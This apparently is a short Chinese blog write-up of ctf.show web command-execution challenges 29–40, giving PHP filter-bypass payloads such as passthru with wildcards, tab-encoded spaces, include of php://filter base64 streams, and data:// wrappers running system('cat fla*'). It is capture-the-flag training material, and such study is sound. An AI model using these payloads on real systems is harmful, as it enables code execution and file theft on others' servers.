ctf_show-web入門-命令執行(29-39)
阿新 • • 發佈:2021-07-26
WEB29
正則表示式過濾了flag
首先先看看有什麼檔案,?c=system(ls);
看到了 flag.php 用*來輸出,?c=system('cat fla*');
這時候頁面還是空白,但是看前端程式碼
web30
過濾了system和php
可以換用passthru()代替system (),php繼續用*代替
web31
又過濾了一堆
繼續用passthru(),cat不行可以用more之類的代替,單引號過濾了用雙引號,空格可以用tab代替
c=passthru("more%09fla*");
web32
又過濾一堆符號,首先是分號沒了 可以用?>閉合php語句,左括號也沒了,所以用帶括號的函式就行不通了
這裡採用檔案包含,?c=include%0a$_POST[test]?>
讓test為本地檔案測試一下。
成功,再使用偽協議,test=php://filter/read=convert.base64-encode/resource=flag.php
對結果base64解碼
web33-web36
過濾的越來越多
payload和web32一樣,不再贅述
web37
這裡c引數不是執行,而是包含
使用 ?c=data:text/plain,<?=system("cat fla*");?>
web38-39
同上
web40
過濾一大堆,之前的偽協議也沒法用了。